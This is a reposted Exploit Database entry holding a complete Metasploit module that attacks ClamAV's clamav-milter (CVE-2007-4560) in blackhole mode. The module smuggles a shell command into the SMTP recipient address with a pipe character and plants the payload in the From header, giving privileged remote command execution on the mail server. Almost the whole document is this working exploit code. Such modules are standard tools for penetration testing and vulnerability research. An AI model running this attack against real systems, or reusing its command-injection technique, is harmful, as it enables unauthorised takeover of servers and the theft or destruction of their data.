ClamAV Milter – Blackhole-Mode Remote Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16924/

• ##
  # $Id: clamav_milter_blackhole.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Smtp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
  			'Description'=> %q{
  					This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
  				(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
  				When implemented with black hole mode enabled, it is possible to execute
  				commands remotely due to an insecure popen call.
  			},
  			'Author' => [ 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10617 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-4560' ],
  					[ 'OSVDB', '36909' ],
  					[ 'BID', '25439' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 1024,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					[ 'Automatic', { }],
  				],
  			'DisclosureDate' => 'Aug 24 2007',
  			'DefaultTarget'=> 0))
  
  			register_options(
  			[
  				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
  			], self.class)
  	end
  
  	def exploit
  
  		# ClamAV writes randomized msg.###### temporary files in a randomized
  		# /tmp/clamav-#######################/ directory. This directory is
  		# the clamav-milter process working directory.
  		#
  		# We *can* execute arbitrary code directly from 'sploit', however the
  		# SMTP RFC rejects all payloads with the exception of generic CMD
  		# payloads due to the IO redirects. I discovered that the 'From:'
  		# header is written to this temporary file prior to the vulnerable
  		# call, so we call the file itself and payload.encoded is executed.
  
  		sploit = "sh msg*" # Execute the clamav-milter temporary file.
  
  		# Create the malicious RCPT TO before connecting,
  		# to make good use of the Msf::Exploit::Smtp support.
  
  		oldaddr = datastore['MAILTO']
  		newaddr = oldaddr.split('@')
  
  		datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"
  
  		connect_login
  
  		sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
  		sock.put(".\r\n")
  
  		# Clean up RCPT TO afterwards
  
  		datastore['MAILTO'] = oldaddr
  
  		handler
  		disconnect
  	end
  
  end